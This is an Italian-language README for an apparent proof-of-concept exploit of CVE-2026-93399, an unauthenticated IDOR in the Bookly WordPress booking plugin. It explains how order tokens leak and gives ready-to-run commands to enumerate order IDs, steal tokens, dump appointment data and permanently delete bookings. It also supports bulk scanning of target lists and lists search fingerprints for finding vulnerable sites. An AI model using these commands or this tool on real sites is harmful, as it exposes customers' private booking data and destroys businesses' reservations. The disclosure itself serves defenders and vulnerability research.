murrez/cve-2026-93399PoC Python per CVE-2026-93399, un IDOR non autenticato in Bookly <= 28.2 che espone i token degli ordini, rivela gli appuntamenti e annulla le prenotazioni.
PoC in Python 3 per CVE-2026-93399 in Bookly (bookly-responsive-appointment-booking-tool).
CVE-2026-93399 — Bookly ≤ 28.2 è affetto da Insecure Direct Object Reference (CWE-639) sull'AJAX pubblico di prenotazione: bookly_get_form_id memorizza l'order_id controllato dall'attaccante nella sessione del form, e bookly_render_complete restituisce il token segreto bookly_order di quell'ordine senza verificare che la sessione abbia creato l'ordine. Attaccanti non autenticati possono enumerare gli ID degli ordini, rubare i token, estrarre i dati degli appuntamenti tramite bookly_add_to_calendar e annullare/eliminare prenotazioni non completate con bookly_rollback_order. CVSS 3.1: 9.1 Critical (C:N/I:H/A:H). Corretto in > 28.2.
Pagina PoC: https://pocbit.org/pocs/cve-2026-93399
Indice del catalogo: https://pocbit.org/pocs/
pip install -r requirements.txt
python poc.py -u https://site.example --mode check
python poc.py -u https://site.example --mode check --order-id 15
python poc.py -u https://site.example --mode check --order-start 1 --order-end 30
python poc.py -u https://site.example --mode exploit --order-id 15 --calendar
python poc.py -u https://site.example --mode exploit --order-id 15 --rollback --confirm-delete
python poc.py --list targets.example.txt --mode check -j 10 --order-start 1 --order-end 5
body="/wp-content/plugins/bookly-responsive-appointment-booking-tool/"
body="bookly_get_form_id"
Solo per test autorizzati. --rollback --confirm-delete rimuove definitivamente le prenotazioni.